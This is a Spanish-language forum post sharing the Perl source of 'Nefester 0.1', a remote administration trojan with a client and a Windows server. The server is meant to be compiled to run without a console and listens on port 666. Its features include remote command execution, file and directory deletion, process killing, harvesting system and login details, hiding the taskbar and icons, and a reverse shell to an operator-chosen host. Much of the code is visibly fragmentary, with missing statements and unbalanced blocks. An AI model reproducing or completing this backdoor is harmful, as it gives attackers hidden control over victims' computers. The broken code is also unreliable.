- Mostrar Informacion
- Navegador de archivos
- Cambiar directorio de navegacion
- Crear archivo
- Borrar archivo
- Borrar directorio
- Reproducir musica o videos poniendo la ruta en la opcion
- Parar reproduccion
- Abrir lectora de CD
- Cerrar lectora de CD
- Puertos abiertos
- Mensaje
- Ejecutar comandos
- Esconder barra de tareas
- Devolver barra de tareas
- Esconder iconos del escritorio
- Devolver iconos del escritorio
- Administrar procesos con posibilidad de cerrar el que quieran
- Reverse Shell si es que quieren ejecutar comandos de forma mas comoda
El codigo del cliente es este
Código
#!usr/bin/perl
#Nefester (Cliente) 0.1 By Doddy H
use IO::Socket;
use Cwd;
&menu;
sub head {
E F TT E
NNNNNNNEEEEEE FFFFFF AAA SSSSSTTTTTTEEEEEE RRRRRR
NN NN E EE FFFF A AA S S T TT T E EE RRRRR
NNNNN E EE FF F AAAAA S T TT E EE RR R
NNNNN EEEEE FFFFF AAA AA SSS S TT EEEEE RRRRR
NNNNN E EEE FFF AAAAA S SSS TT E EEE RR R
NN NN EEEE E FF AAA AA SS SS TT EEEE E RR R
NNN NN EEEEEEEFFFF AAA AAA SSS TTTT EEEEEEE RRR RR
SS R R
);
}
sub menu {
&head;
my $socket = new IO::Socket::INET(
PeerAddr => $ip,
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
if ($socket) {
$socket->close;
&menuo($ip);
} else {
<STDIN>;
&menu;
}
}
sub menuo {
&head;
1 : Informacion
2 : Navegador
3 : Abrir CD
4 : Cerrar CD
5 : Puertos abiertos
6 : Mensaje
7 : CMD
8 : Esconder barra de tareas
9 : Devolver barra de tareas
10 : Esconder iconos
11 : Devolver iconos
12 : Administrar procesos
13 : Reverse Shell
14 : Cambiar IP
15 : Salir
);
if ($opcion eq 1) {
$re = daryrecibir($_[0],"infor");
if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
<stdin>;
}
&menuo($_[0]);
}
elsif ($opcion eq 2) {
menu1:
$cwd = daryrecibir($_[0],"getcwd"."\r\n");
show($_[0],"/");
&menu2;
sub menu2 {
if ($op eq 1) {
$ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
if ($ver=~/ok/ig) {
}
show($_[0],$dir);
&menu2;
<stdin>;
}
elsif ($op eq 2) {
daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
<stdin>;
}
elsif ($op eq 3) {
$re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
if ($re=~/ok/) {
} else {
}
<stdin>;
}
elsif ($op eq 4) {
$re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
if ($re=~/ok/) {
} else {
}
<stdin>;
}
elsif ($op eq 5) {
daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
<stdin>;
}
elsif ($op eq 6) {
daryrecibir($_[0],"pararmusic");
<stdin>;
}
elsif ($op eq 7) {
&menuo($_[0]);
}
else {
show($_[0],"/");
}
goto menu1;
}
}
elsif ($opcion eq 3) {
daryrecibir($_[0],"opencd");
&menuo($_[0]);
}
elsif ($opcion eq 4) {
daryrecibir($_[0],"closedcd");
&menuo($_[0]);
}
elsif ($opcion eq 5) {
$re = daryrecibir($_[0],"porters");
while ($re=~/:(.*?):/ig) {
if ($1 ne "") {
}
}
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 6) {
daryrecibir($_[0],"msgbox $msg");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 7) {
menu:
my $cmd,$re;
&menuo($_[0]);
}
$re = daryrecibir($_[0],"comando :$cmd:");
goto menu;
&menuo($_[0]);
}
elsif ($opcion eq 8) {
daryrecibir($_[0],"iniciochau");
&menuo($_[0]);
}
elsif ($opcion eq 9) {
daryrecibir($_[0],"iniciovuelve");
&menuo($_[0]);
}
elsif ($opcion eq 10) {
daryrecibir($_[0],"iconochau");
&menuo($_[0]);
}
elsif ($opcion eq 11) {
daryrecibir($_[0],"iconovuelve");
&menuo($_[0]);
}
elsif ($opcion eq 12) {
&reload($_[0]);
sub reload {
my @pro;
my @pids;
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
$sockex->read($re,5000);
$sockex->close;
while ($re=~/PROXEC(.*?)PROXEC/ig) {
if ($1 ne "") {
}
}
while ($re=~/PIDX(.*?)PIDX/ig) {
if ($1 ne "") {
}
}
for my $num(1..$cantidad) {
if ($pro[$num] ne "") {
}
}
[Opciones]
1 - Refrescar lista
2 - Cerrar procesos
3 - Volver al menu
);
if ($opc=~/1/ig) {
&reload($_[0]);
}
elsif($opc=~/2/ig) {
$re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
if ($re=~/ok/ig) {
} else {
}
<stdin>;
&reload($_[0]);
}
elsif($opc=~/3/ig) {
&menuo($_[0]);
}
else {
&reload;
}
}
}
elsif ($opcion eq 13) {
$re = daryrecibir($_[0],"backshell :$ip:$port:");
}
elsif ($opcion eq 14) {
&menu;
}
elsif ($opcion eq 15) {
}
else {
&menuo;
}
}
sub daryrecibir {
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
$sockex->read($re,5000);
$sockex->close;
}
sub show {
my $re = daryrecibir($_[0],"getcwd"."\r\n");
$re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
while ($re1=~/DIREX(.*?)DIREX/ig) {
if ($1 ne "") {
}
}
while ($re1=~/FILEX(.*?)FILEX/ig) {
if ($1 ne "") {
}
}
}
#
# ¿ The End ?
#
Y el server
Código
#!/usr/bin/perl
#Nefester (sERVidor) 0.1 By Doddy H
#Compilar con perl2exe para sacar consola
use IO::Socket;
use Socket;
use Win32;
use Cwd;
use Win32::MediaPlayer;
use Win32::Process::List;
use Win32::Process;
use Win32::API;
use constant SW_HIDE => 0;
use constant SW_SHOWNORMAL => 1;
my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
$test = new Win32::MediaPlayer;
my $sock = IO::Socket::INET->new(LocalPort => 666,
Listen => 10,
Proto => 'tcp',
Reuse => 1);
while (my $con = $sock->accept){
$resultado = <$con>;
if ($resultado=~/msgbox (.*)/ig) {
Win32::MsgBox($1,0,"Mensaje de Dios")
}
if ($resultado=~/backshell :(.*):(.*):/ig) {
my ($ip,$port) = ($1,$2);
conectar($ip,$port);
tipo();
sub conectar {
}
sub tipo {
if ($^O =~/Win32/ig) {
infowin();
} else {
infolinux();
#root();
}
}
sub infowin {
}
sub infolinux {
}
}
if ($resultado =~/opencd/ig) {
use Win32::API;
my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
my $rta = ' ' x 127;
$ventana->Call('set CDAudio door open', $rta, 127, 0);
}
if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
my ($pid,$numb) = ($1,$2);
if (Win32::Process::KillProcess($pid,$numb)) {
}
}
if ($resultado =~/closedcd/ig) {
use Win32::API;
my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
my $rta = ' ' x 127;
$ventana->Call('set CDAudio door closed', $rta, 127, 0);
}
if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
my $filex = $1;
}
}
if ($resultado=~/infor/ig) {
use Win32;
my $domain = Win32::DomainName();
my $chip = Win32::GetChipName();
my $version = Win32::GetOSVersion();
my $nombre = Win32::LoginName();
my $os = Win32::GetOSName();
}
if ($resultado=~/porters/ig) {
use Net::Netstat::Wrapper;
$por = "";
@ports = Net::Netstat::Wrapper->only_port();
for(@ports) {
$por = $por.":".$_;
}
}
if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
my $cancion = $1;
$test->load($cancion);
$test->play;
}
if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
my $dir = $1;
}
}
if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
my $veox = $1;
}
}
if ($resultado=~/pararmusic/ig) {
$test->close;
}
if ($resultado=~/dirnow ACATOY(.*)/ig) {
my $real = $1;
my @archivos = coleccionar($real);
for (@archivos) {
my $todo = $real."/".$_;
if (-f $todo) {
}
if (-d $todo) {
}
}
}
sub coleccionar {
close DIR;
}
if ($resultado=~/getcwd/ig) {
}
if ($resultado=~/mostrarpro/ig) {
my $new = Win32::Process::List->new();
my %process = $new->GetProcesses();
}
}
if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
my $name = $1;
my $file = $2;
close FILE;
}
if ($resultado=~/comando :(.*):/ig) {
}
if ($resultado=~/iniciochau/g) {
inicio_chau("Shell_TrayWnd");
}
if ($resultado=~/iniciovuelve/g) {
inicio_vuelve("Shell_TrayWnd");
} else {
}
if ($resultado=~/iconovuelve/g) {
icono_vuelve("Program Manager");
}
if ($resultado=~/iconochau/g) {
icono_chau("Program Manager");
}
sub icono_vuelve {
$handle = $a->Call(0,$_[0]);
$b->Call($handle,SW_SHOWNORMAL);
}
sub icono_chau {
$handle = $a->Call(0,$_[0]);
$b->Call($handle,SW_HIDE);
}
sub inicio_vuelve {
$handlex = $a->Call($_[0],0);
$b->Call($handlex,SW_SHOWNORMAL);
}
sub inicio_chau {
$handlea = $a->Call($_[0],0);
$b->Call($handlea,SW_HIDE);
}
}
# ¿ The End ?


 
  




 Autor
 Autor
		



 En línea
									En línea
								

 
						